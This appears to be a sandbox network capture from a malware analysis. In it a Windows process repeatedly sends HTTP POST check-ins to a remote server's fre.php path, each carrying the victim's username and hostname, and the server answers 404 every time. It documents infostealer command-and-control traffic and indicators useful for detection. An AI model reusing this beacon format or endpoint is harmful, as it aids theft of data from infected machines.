Oct 30, 2024 07:53:54.439982891 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:54.439995050 CET	848	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:54.445352077 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49188	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:54.274202108 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:54.279645920 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:55.293965101 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49189	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:55.506917000 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:55.512450933 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:56.479609013 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49190	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:56.612909079 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:56.618452072 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:57.576150894 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49191	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:57.720335960 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:57.725696087 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:53:58.678220987 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49192	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:59.092983007 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:53:59.101106882 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:00.057696104 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:53:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49193	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:00.201170921 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:00.206573009 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:01.168560028 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49194	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:01.340882063 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:01.346182108 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:02.343007088 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49195	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:02.491985083 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:02.497379065 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:03.472774982 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49196	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:04.897191048 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:04.902816057 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:05.858128071 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49197	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:06.011044979 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:06.016438961 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:06.964103937 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49198	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:07.401325941 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:07.406667948 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:08.369493961 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49199	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:08.740010977 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:08.745393991 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:09.713777065 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49200	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:09.859494925 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:09.865003109 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:10.864734888 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49201	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:11.023446083 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:11.029181957 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:11.983464956 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49202	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:12.291497946 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:12.297225952 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:13.237864971 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49203	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:13.408143997 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:13.413593054 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:14.375499010 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49204	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:14.520813942 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:14.527345896 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:15.478223085 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.22	49205	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:15.615720034 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:15.621149063 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:16.571283102 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.22	49206	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:16.889108896 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
